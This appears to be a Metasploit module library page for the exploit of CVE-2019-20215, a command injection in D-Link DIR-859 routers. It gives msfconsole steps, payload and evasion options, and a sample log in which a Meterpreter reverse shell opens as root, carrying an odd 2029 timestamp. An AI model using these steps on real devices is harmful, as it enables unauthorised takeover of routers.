D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi - Metasploit
This page contains detailed information about how to use the exploit/linux/upnp/dlink_dir859_exec_ssdpcgi metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi
Module: exploit/linux/upnp/dlink_dir859_exec_ssdpcgi
Source code: modules/exploits/linux/upnp/dlink_dir859_exec_ssdpcgi.rb
Disclosure date: 2019-12-24
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): mipsbe
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): 1900
List of CVEs: CVE-2019-20215
D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/linux/upnp/dlink_dir859_exec_ssdpcgi
msf exploit(dlink_dir859_exec_ssdpcgi) > exploit
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT: The target port
Knowledge Base
Vulnerable Application
Introduction
This module exploits CVE-2019–20215, an unauthenticated remote injection of operating system commands. The vulnerability was found in the ssdpcgi() function, and the payload can be injected through either the UUID or URN headers of a M-SEARCH UPnP request.
Get a D-Link router/vulnerable firmware, or download firmware versions 1.06 or 1.05 and run them on firmadyne or similar emulation frameworks.
Verification Steps
- Set up router/emulated device
- Start
msfconsole - Do:
use exploit/linux/http/dlink_dir859_exec_ssdpcgi - Do:
set RHOSTS <router_ip> - Do:
set LHOST <local_ip> - Do:
set TARGET <URN/UUID> - Do:
run - You should get a session as
root.
Options
VECTOR
This option denotes which header will be used in the request (UUID or URN) that triggers the vulnerability.
Scenarios
D-link DIR-859 Firmware 1.05
msf5 exploit(linux/http/dlink_dir859_exec_ssdpcgi) > run
[*] Started reverse TCP handler on 192.168.0.2:4444
[*] Using URL: http://0.0.0.0:8080/38YWEX2
[*] Local IP: http://192.168.70.28:8080/38YWEX2
[*] Target Payload URN
[*] Client 192.168.0.1 (Wget) requested /38YWEX2
[*] Sending payload to 192.168.0.1 (Wget)
[*] Command Stager progress - 100.00% done (110/110 bytes)
[*] Meterpreter session 1 opened (192.168.0.2:4444 -> 192.168.0.1:41057) at 2029-12-31 14:15:22 -0300
[*] Server stopped.
meterpreter >
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Msfconsole Usage
Here is how the linux/upnp/dlink_dir859_exec_ssdpcgi exploit module looks in the msfconsole:
msf6 > use exploit/linux/upnp/dlink_dir859_exec_ssdpcgi
[*] Using configured payload linux/mipsbe/meterpreter_reverse_tcp
msf6 exploit(linux/upnp/dlink_dir859_exec_ssdpcgi) > show info
Name: D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi
Module: exploit/linux/upnp/dlink_dir859_exec_ssdpcgi
Platform: Linux
Arch: mipsbe
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2019-12-24
Provided by:
s1kr10s
secenv
Available targets:
Id Name
-- ----
0 Auto
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 1900 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VECTOR URN yes Header through which to exploit the vulnerability (Accepted: URN, UUID)
Payload information:
Description:
D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi.
References:
https://nvd.nist.gov/vuln/detail/CVE-2019-20215
https://medium.com/@s1kr10s/2e799acb8a73
Module Options
This is a complete list of options available in the linux/upnp/dlink_dir859_exec_ssdpcgi exploit:
msf6 exploit(linux/upnp/dlink_dir859_exec_ssdpcgi) > show options
Module options (exploit/linux/upnp/dlink_dir859_exec_ssdpcgi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 1900 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VECTOR URN yes Header through which to exploit the vulnerability (Accepted: URN, UUID)
Payload options (linux/mipsbe/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Auto
Advanced Options
Here is a complete list of advanced options supported by the linux/upnp/dlink_dir859_exec_ssdpcgi exploit:
msf6 exploit(linux/upnp/dlink_dir859_exec_ssdpcgi) > show advanced
Module advanced options (exploit/linux/upnp/dlink_dir859_exec_ssdpcgi):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR wget no The CMD Stager to use. (Accepted: auto, echo, wget)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
CPORT no The local client port
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (linux/mipsbe/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/upnp/dlink_dir859_exec_ssdpcgi module can exploit:
msf6 exploit(linux/upnp/dlink_dir859_exec_ssdpcgi) > show targets
Exploit targets:
Id Name
-- ----
0 Auto
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/upnp/dlink_dir859_exec_ssdpcgi exploit:
msf6 exploit(linux/upnp/dlink_dir859_exec_ssdpcgi) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/linux/mipsbe/exec normal No Linux Execute Command
4 payload/linux/mipsbe/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
5 payload/linux/mipsbe/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
6 payload/linux/mipsbe/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
7 payload/linux/mipsbe/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
8 payload/linux/mipsbe/reboot normal No Linux Reboot
9 payload/linux/mipsbe/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
10 payload/linux/mipsbe/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
11 payload/linux/mipsbe/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the linux/upnp/dlink_dir859_exec_ssdpcgi exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/upnp/dlink_dir859_exec_ssdpcgi) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12887 Merged Pull Request: Cve 2019 20215
References
See Also
Check also the following modules related to this module:
- auxiliary/admin/upnp/soap_portmapping
- auxiliary/dos/upnp/miniupnpd_dos
- auxiliary/scanner/upnp/ssdp_amp
- auxiliary/scanner/upnp/ssdp_msearch
- exploit/linux/http/dlink_upnp_exec_noauth
- exploit/linux/http/realtek_miniigd_upnp_exec_noauth
- exploit/linux/upnp/belkin_wemo_upnp_exec
- exploit/linux/upnp/dlink_dir859_subscribe_exec
- exploit/linux/upnp/dlink_upnp_msearch_exec
- exploit/linux/upnp/miniupnpd_soap_bof
- exploit/multi/upnp/libupnp_ssdp_overflow
- exploit/osx/mdns/upnp_location
- exploit/linux/http/dlink_authentication_cgi_bof
- exploit/linux/http/dlink_command_php_exec_noauth
- exploit/linux/http/dlink_dcs_930l_authenticated_remote_command_execution
- exploit/linux/http/dlink_dcs931l_upload
- exploit/linux/http/dlink_diagnostic_exec_noauth
- exploit/linux/http/dlink_dir300_exec_telnet
- exploit/linux/http/dlink_dir605l_captcha_bof
- exploit/linux/http/dlink_dir615_up_exec
- exploit/linux/http/dlink_dir850l_unauth_exec
- exploit/linux/http/dlink_dsl2750b_exec_noauth
- exploit/linux/http/dlink_dspw110_cookie_noauth_exec
- exploit/linux/http/dlink_dspw215_info_cgi_bof
- exploit/linux/http/dlink_dwl_2600_command_injection
- exploit/linux/http/dlink_hedwig_cgi_bof
- exploit/linux/http/dlink_hnap_bof
- exploit/linux/http/dlink_hnap_header_exec_noauth
- exploit/linux/http/dlink_hnap_login_bof
- auxiliary/admin/http/dlink_dir_300_600_exec_noauth
- auxiliary/admin/http/dlink_dir_645_password_extractor
- auxiliary/admin/http/dlink_dsl320b_password_extractor
- auxiliary/admin/vxworks/dlink_i2eye_autoanswer
- auxiliary/scanner/http/dlink_dir_300_615_http_login
- auxiliary/scanner/http/dlink_dir_615h_http_login
- auxiliary/scanner/http/dlink_dir_session_cgi_http_login
- auxiliary/scanner/http/dlink_user_agent_backdoor
- auxiliary/sqli/dlink/dlink_central_wifimanager_sqli
- exploit/windows/http/dlink_central_wifimanager_rce
- exploit/windows/tftp/dlink_long_filename
Related Nessus plugins:
Authors
- s1kr10s
- secenv
Version
This page has been produced using Metasploit Framework version 6.1.26-dev. For more modules, visit the Metasploit Module Library.
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